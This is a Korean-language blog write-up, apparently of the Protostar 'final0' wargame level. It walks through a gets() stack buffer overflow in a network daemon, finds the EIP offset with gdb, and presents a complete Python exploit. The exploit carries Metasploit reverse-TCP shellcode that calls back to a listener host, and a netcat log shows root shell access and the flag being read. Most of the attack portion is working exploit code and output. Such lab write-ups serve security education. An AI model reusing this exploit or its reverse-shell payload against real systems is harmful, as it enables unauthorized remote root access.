2995 포트로 서비스중인 프로그램과 소스가 주어졌다.
1#include "../common/common.c" 2 3#define NAME "final0" 4#define UID 0 5#define GID 0 6#define PORT 2995 7 8/* 9 * Read the username in from the network 10 */ 11 12char *get_username() 13{ 14 char buffer[512]; 15 char *q; 16 int i; 17 18 memset(buffer, 0, sizeof(buffer)); 19 gets(buffer); // Vuln 20 21 /* Strip off trailing new line characters */ 22 q = strchr(buffer, '\n'); 23 if(q) *q = 0; 24 q = strchr(buffer, '\r'); 25 if(q) *q = 0; 26 27 /* Convert to lower case */ 28 for(i = 0; i < strlen(buffer); i ) { 29 buffer[i] = toupper(buffer[i]); 30 } 31 32 /* Duplicate the string and return it */ 33 return strdup(buffer); 34} 35 36int main(int argc, char **argv, char **envp) 37{ 38 int fd; 39 char *username; 40 41 /* Run the process as a daemon */ 42 background_process(NAME, UID, GID); 43 44 /* Wait for socket activity and return */ 45 fd = serve_forever(PORT); 46 47 /* Set the client socket to STDIN, STDOUT, and STDERR */ 48 set_io(fd); 49 50 username = get_username(); 51 52 printf("No such user %s\n", username);
53}
사용자 이름을 받고 무조건 no such user 을 띄우는 이상한 프로그램이다.
게다가 사용자 이름을 무조건 대문자로 만들어버린다.
이상한 기능을 하고 있는 프로그램 이지만 다시 한번 보면 get_username에서 gets 함수를 사용해서 BOF 공격이 가능해 보인다.
buffer 의 변수 크기는 512 이며 대략 550을 서버로 요청하면 데몬은 뻗어버릴 것이다.
그리고 core 를 분석해서 EIP가지의 offset을 구할 것이다.
tmp 폴더에있는 core 를 gdb --core=./tmp/core... 로 분석해보자.
분석해보면 533 ~ 536 byte가 EIP를 덮어쓸수 있는 offset이엇다.
nx나 aslr이 걸려있지 않으므로 core를 좀더 분석해보면 buffer에 쉘코드를 담아 공격을 할 예정이다.
0xbffff98c: 0xb7fd984c 0xb7fd8420 0xb7fd8420 0xb7e9fa34
0xbffff99c: 0xb7fe1848 0xb7fd8420 0xffffffff 0xb7fb730b
0xbffff9ac: 0xb7fb7324 0xb7fb733e 0xb7fb732e 0xb7fe1838
0xbffff9bc: 0xb7e97000 0x00000000 0x00000000 0xb7fe1848
0xbffff9cc: 0xb7fd7ff4 0x00000201 0x00000201 0xbffff9e8
0xbffff9dc: 0xb7f06dbc 0xb7fd7ff4 0xbffffa48 0xbffffa08
0xbffff9ec: 0xb7f06caa 0x00000201 0xb7f0a050 0xfefefeff
0xbffff9fc: 0xb7fd7ff4 0xbffffa48 0x00000201 0xbffffa28
0xbffffa0c: 0xb7f0a050 0x00000201 0xb7ff6210 0xfefefeff
0xbffffa1c: 0x00000200 0x00000000 0x00000000 0xbffffc58
0xbffffa2c: 0x0804982a 0xbffffa48 0x0000000d 0x00000200
0xbffffa3c: 0x0000069c 0xb7e9c894 0x0d696910 0x41414141
0xbffffa4c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa5c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa6c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa7c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa8c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa9c: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffaac: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffabc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffacc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffadc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffaec: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffafc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffb0c: 0x41414141 0x41414141 0x41414141 0x41414141
Buffer가 시작되는 주소는 0xbffffa48 이고 이곳부터 512바이트간 upper처리를 하는데 그러면 쉘코드가 손상될 가능성이 있다.
그러므로 512바이트 이후에 쉘코드를 담을것이다.
payload
offset eip nopsled shellcode
이렇게 페이로드를 구성하고 Exploit 할 것이다.
nopsled 구역인 bffffc6c를 eip로 설정하고 exploit code를 작성했다.
from struct import * from socket import * import time # linux/x86/shell_reverse_tcp - 95 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # VERBOSE=false, LHOST=192.168.0.2, LPORT=8080, shellcode = ("\xd9\xc0\xbe\x7c\x4a\xda\x79\xd9\x74\x24\xf4\x5f\x31\xc9" "\xb1\x12\x31\x77\x17\x03\x77\x17\x83\x93\xb6\x38\x8c\x5a" "\x9c\x4a\x8c\xcf\x61\xe6\x39\xed\xec\xe9\x0e\x97\x23\x69" "\xfd\x0e\x0c\x55\xcf\x30\x25\xd3\x36\x58\x76\x8b\xc9\x9a" "\x1e\xce\xc9\x85\x4e\x47\x28\x09\x08\x08\xfa\x3a\x66\xab" "\x75\x5d\x45\x2c\xd7\xf5\x79\x02\xab\x6d\xee\x73\x29\x04" "\x80\x02\x4e\x84\x0f\x9c\x70\x98\xbb\x53\xf2") ################################################################### Host = '192.168.0.55' Port = 2995 ################################################################### offset = 532 p = lambda x : pack('
,x) s = socket(AF_INET, SOCK_STREAM) s.connect((Host,Port)) print "[*] Sending Exploit code...." exploit = "" exploit = "\x90" * offset exploit = "\x6c\xfc\xff\xbf" # eip exploit = "\x90" * 30 exploit = shellcode s.send(exploit) time.sleep(1) s.close() print "[*] Close Connection."
C:\Users\sweetchip\Desktop>nc -l -p 8080
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
ls -al /opt/protostar/bin/
total 914
drwxr-xr-x 2 root root 60 May 20 06:34 .
drwxr-xr-x 6 root root 80 Nov 22 2011 ..
-rwsr-xr-x 1 root root 54889 Nov 24 2011 final0
-rwsr-xr-x 1 root root 56773 Nov 24 2011 final1
-rwsr-xr-x 1 root root 79974 Nov 24 2011 final2
-rwx------ 1 root user 16 May 20 06:28 flag
-rwsr-xr-x 1 root root 23017 Nov 24 2011 format0
-rwsr-xr-x 1 root root 22931 Nov 24 2011 format1
-rwsr-xr-x 1 root root 23233 Nov 24 2011 format2
-rwsr-xr-x 1 root root 23409 Nov 24 2011 format3
-rwsr-xr-x 1 root root 23472 Nov 24 2011 format4
-rwsr-xr-x 1 root root 23541 Nov 24 2011 heap0
-rwsr-xr-x 1 root root 23528 Nov 24 2011 heap1
-rwsr-xr-x 1 root root 54838 Nov 24 2011 heap2
-rwsr-xr-x 1 root root 54559 Nov 24 2011 heap3
-rwsr-xr-x 1 root root 54969 Nov 24 2011 net0
-rwsr-xr-x 1 root root 55350 Nov 24 2011 net1
-rwsr-xr-x 1 root root 55036 Nov 24 2011 net2
-rwsr-xr-x 1 root root 57092 Nov 24 2011 net3
-rwsr-xr-x 1 root root 54434 Nov 24 2011 net4
-rwsr-xr-x 1 root root 22412 Nov 24 2011 stack0
-rwsr-xr-x 1 root root 23196 Nov 24 2011 stack1
-rwsr-xr-x 1 root root 23350 Nov 24 2011 stack2
-rwsr-xr-x 1 root root 23130 Nov 24 2011 stack3
-rwsr-xr-x 1 root root 22860 Nov 24 2011 stack4
-rwsr-xr-x 1 root root 22612 Nov 24 2011 stack5
-rwsr-xr-x 1 root root 23331 Nov 24 2011 stack6
-rwsr-xr-x 1 root root 23461 Nov 24 2011 stack7
cat /opt/protostar/bin/flag
This Is Flag !!
Exploit을 성공하고 root 쉘을 획득했다.
JuniorCTF 2013 Level10 Write-up [exploit] (6) | 2013.08.04 |
---|---|
HackerSchool LOB [redhat] Level20 (0) | 2013.07.14 |
Exploit-Exercise Fusion level01 (0) | 2013.06.04 |
Exploit-Exercise Fusion level00 (0) | 2013.06.04 |
Basic of Real World Exploit on windows [Document] (18) | 2013.05.22 |